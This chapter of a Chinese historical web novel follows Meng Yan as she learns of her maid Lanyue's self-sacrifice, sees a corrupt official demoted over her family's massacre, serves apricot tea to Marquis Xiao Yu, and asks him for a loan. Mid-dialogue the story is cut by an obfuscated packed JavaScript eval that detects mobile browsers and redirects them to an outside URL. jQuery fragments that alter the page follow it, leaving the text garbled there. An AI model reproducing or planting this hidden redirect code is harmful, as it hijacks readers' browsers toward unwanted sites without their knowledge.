48. 贬谪定罪

作品:《汴京饮馔食记

    “娘子,你知道吗?”


    孟嫣正想的出神,阿栗忽而又道。


    孟嫣:“什么?”


    阿栗:“孟二娘给自己改了名字,叫孟香玉。”


    孟嫣:“孟香玉?”


    阿栗点头:“她不仅记恨娘子,更记恨我和揽月,记恨我们二人都有名字,她却只能按本家排行叫二娘。”


    宋时平民百姓对于女儿多按排行取名,后面加个“娘”字就作为大名了。


    不过她怎么成了陈帆正的妾室?本家送她来孟家不就是想以后寻门好亲,怎会愿意做妾?


    阿栗“哼”了一声:“她在咱们孟家时,做什么都比照着娘子,娘子穿什么衣裳、戴什么钗环、一颦一笑她都学,就连妆容都往娘子样貌上化。那陈帆正看上了娘子,她就盯上了陈帆正,二人早就有了首尾,孟家一出事,她立刻就被纳进了陈家。”


    孟嫣微微蹙眉:“立刻?”


    阿栗点点头。


    孟嫣隐隐觉得哪里不对:“陈帆正对她如何?”


    阿栗想了想:“算是很得宠,陈帆正院子是有几名通房的,没一个抬为妾室,他还没娶妻就纳了孟二娘为妾,并且二娘有单独的院子,陈帆正还给了她许多银钱。”


    这的确得宠,能让她从外面请厨人做一桌子石首,就可想而知。


    难不成那陈帆正对原身求娶不成退而求其次了?


    孟嫣此刻突然想到了另一个不对的地方。


    孟家灭门案原身是被认定也遭了难,而原身其实是悄悄被送来了京城,只有极其近亲的几人知道。


    最后官府查验尸身时,把谁当成了原身?


    孟嫣突地想到了原身的另一个女使揽月,心口一揪。


    孟嫣:“……揽月……”


    她有些问不出口。


    阿栗听到孟嫣提揽月,眼睛又红了起来,自顾自说道:“娘子,当晚揽月姐姐将我藏好后,那伙匪寇就已经到了门外,揽月姐姐划花了自己的脸,在匪寇刚进门就自尽了……”


    划花了自己的脸,自尽……


    孟嫣心头紧了紧。


    谁会在自尽前划花自己的脸?无非是想到原身还在汴京避祸,若是家里都遭了难,一旦被陈家知道原身的踪迹,那时原身无依无靠一样会被陈帆正强娶了去。


    是以,揽月自知逃不过一个死,不如将自己扮成原身,这样原身在汴京至少就安全了。


    孟嫣声音微微发颤:“你、你二人当晚都睡在了哪里?”


    阿栗不明白孟嫣为何这么问,此刻眼睛红红却也没多想:“我和揽月姐姐一直都和娘子睡一起呀,娘子怕黑,睡觉时两边要都有人才行。”


    孟嫣久久没再说话。


    苒霜却听懂了孟嫣的意思,心口也发沉,她轻轻叫了一声:“娘子。”


    孟嫣心口仿佛压了一块巨石,听见声音朝苒霜扯了扯嘴角。


    阿栗不知是提到了揽月还是说了这么久的话有些累了,此刻已经垂着眼皮坐着睡着了。


    孟嫣轻轻拍了拍她,轻声道:“去床上睡?”


    阿栗却惊慌地站了起来,反应了一会儿才知自己在哪里,咧着嘴朝孟嫣傻乎乎地笑。


    孟嫣心口又揪了起来。


    她放轻声音:“坐着怎能睡的舒服?去床上睡?”


    阿栗依旧傻笑着点点头。


    孟嫣和苒霜一起扶着她去了次间,火阁已经撤了,次间又恢复成孟嫣刚穿过来的样子。


    二人将阿栗安置在了架子床上,刚为她盖好被子就已经沉沉睡去。


    孟家灭门案再次在京中掀起波澜,因为刚迁调入京不久的前明州知州楼文靖因贪赃枉法、敲诈勒索被贬去了琼州。


    官员擢升贬黜本掀不起什么议论,可偏偏这楼文靖就是因为此案才擢升入京。


    一时之间坊间众说纷纭,猜测这楼文靖究竟做了什么贪赃枉法之事,最后猜测无果,齐齐奔向了曾无用的说书棚。


    曾无用也不负众望,将楼文靖指使书吏篡改账册勒索商贾之事通通说讲了出来,引得众人破口大骂。


    众人自然又想到了孟家。


    想来让楼文靖对孟家起贪念的,定然是意外得来的那几箱财宝,结果却被匪寇得了消息抢了先,没准楼文靖根本不想剿什么匪,就是奔着这几箱财宝去的。


    最后传着传着,孟家财宝已经悉数落入楼文靖手里。


    本该处于议论中心的孟嫣却过的格外安静。


    不知萧遇同官家怎么说的,重查孟家一案似是与她没有任何关系一般,没有一个衙役前来问话,更没人知道她就是孟家一案的孟家女。


    只有林檎三五不时地过来同她禀报一下案子进度和结果。


    案审结果和萧遇判断的几近相同,楼文靖被流放,陈家几近毫发无损。


    之所以说几近,是审案官员不知用了什么法子,让刚来汴京的陈帆正和楼文靖承认了相互勾结一事,但二人也只承认勾结图谋孟家财宝,孟家被灭门与他二人无关。


    是以,陈家有谋财意图,虽未实施,却也被罚了万贯银钱。


    终于,在入夏的那一日,萧遇来了孟嫣的小院。


    又是数月未见,孟嫣只觉得面前的男人更加陌生了。


    阿栗也知道了萧遇的身份,一时躲在了孟嫣身后。


    苒霜也猜到了几分自家侯爷的意图,娘子是孟家女,侯爷一直想收复燕云,为的自然就是那几箱财宝了。


    她曾经还幻想过孟娘子能成为他们侯府的主母呢!看来是没什么可能了。


    萧遇将人都遣了出去,只余他和孟嫣。


    夏风习习,孟嫣又郑重地朝萧遇行了一礼。


    萧遇摩挲了下手指,终于开口:“不必如此。”


    孟嫣笑了笑:“若非侯爷,始作俑者还逍遥法外,侯爷当得我这一谢。”


    “你……”萧遇顿了顿。


    他想说,你不必这般见外。


    可这话在嘴边滚了滚,终是咽了回去。


    他也感受到了二人之间的生分,却不知这生分从何而来。


    “你的事,官家都知道了。”萧遇道。


    二人隔着几步,相对而站。


    孟嫣又笑了笑:“侯爷,坐下说吧。”说着出去又让苒霜取两碗茶来。


    萧遇已经在书案处落座。


    冬日摆放炭盆的地方已经换成一方矮几,矮几上放了一只莲花盏,莲花盏里放了三只黄灿灿的木瓜,木瓜散着沁人的果香,


    书案上放着临摹到一半的字帖,上面的字已和他的字越来越像,一种隐秘的喜悦涌上心头。


    孟嫣在他对面落座,见他正在看她临摹的字帖,又笑了笑:“我现在的字写的如何?”


    萧遇从字帖中抬起眼,此刻才依稀找回二人相处过的熟悉痕迹。


    萧遇:“很好。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090971|192745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>孟嫣又笑了笑。


    苒霜端着一只托盘进来,将托盘上的一壶茶、一碗杏肉、一碗碎冰和两只茶盏分别摆放在书案上,就又退了出去。


    孟嫣收起字帖,将一只萃着冰的青瓷盏推到萧遇面前:“这是用金杏和散茶调的金杏茶,侯爷尝尝看?”


    萧遇看去,青瓷盏底铺着一层黄澄澄的杏肉,将茶色映的金黄,茶汤里还沉着几块碎冰。


    他端起茶盏,喝了一口,只觉满口甘甜清爽,接着将一盏一饮而尽,盏底的杏肉也悉数倒进口中,笑问:“从何处学的这个法子?”


    孟嫣见他喜欢,陌生感也淡去了不少,道:“瞎琢磨的,现在正是金杏上市的时候,就调来试了试。”


    萧遇:“这个味道好。”


    孟嫣拿过萧遇吃空了的茶盏,又给他调了一盏金杏茶,再次推到他面前:“官家知道我还活着的事?”


    萧遇又喝了一口金杏茶,颔首道:“也知道你记不清之前的事了。”


    孟嫣也端起茶盏喝了一口。


    萧遇:“你……可要回明州?我会让戍安带着一些得用的人跟着你。”


    孟嫣轻声道谢。


    她是应该回去,好生安葬双亲,也让原身安心。


    孟嫣:“侯爷可知道陈帆正最近的消息?还有他的那个妾室孟二娘?”


    萧遇朝外喊了一声“林檎”。


    林檎已经吃到第七盏金杏茶了,听到侯爷叫他,端着茶盏乐颠颠地进来:“侯爷,您叫我?”


    萧遇:“最近陈帆正和他那个妾室都做了些什么?”


    林檎抹了抹嘴:“陈帆正前两日前刚从牢里出来,已经准备回明州了,他的那个妾室如今已经不是他的妾室了,现在是三司户部使喻大官人长子,喻佐鸣的妾室了。”


    林檎怕孟嫣不知道喻佐鸣是谁,就又补了一句:“喻佐鸣就是去岁和我们家侯爷退亲的那个人的大哥哥。”


    孟嫣觑了萧遇一眼,问道:“怎么成了他的妾室?”


    林檎:“此次陈帆正进京除了送货,还有就是打点京中关系,这次不知怎么就攀上了喻家,那喻佐鸣向来好女色,和陈帆正吃了两回酒,那孟二娘就成了他的妾室了。否则此次怎么就只罚没了他们陈家一万贯钱,是喻家从中周旋才少罚了些。”


    这么说来,孟二娘可能是被陈帆正送过去的,也可能是被喻佐鸣看上要了过去。


    孟嫣点了点头,看向萧遇:“侯爷,我还有一事相求。”


    林檎眨了眨眼刚要开口说上一句,就被萧遇瞪了一眼,他讪讪地摸了摸鼻子。


    娘子总跟侯爷见外做什么,日后侯爷还不是要听她的?


    萧遇收回目光,望向孟嫣:“直说就是。”


    孟嫣:“我想同侯爷借一些银钱。”


    她手里的银子在开了一家食肆和火锅店后已经所剩不多。


    上个月冯六的食肆已经开业,冯六很会做生意,食肆的生意还不错。


    火锅店自她请曾无用打了广告后也有了客流,不过现在到了夏日,已经开始卖起了冷锅串串,生意虽比开始好了很多,赚的却不太多。


    既然她要回明州,定然是待到孝期结束再回来的,要给二人留一些银子以备不时之需。


    另外她也需要一大笔银钱,她不想看到陈帆正父子过得这么舒坦,既然他们是孟家灭门案的始作俑者,不能只罚那一万贯钱,太便宜他们了!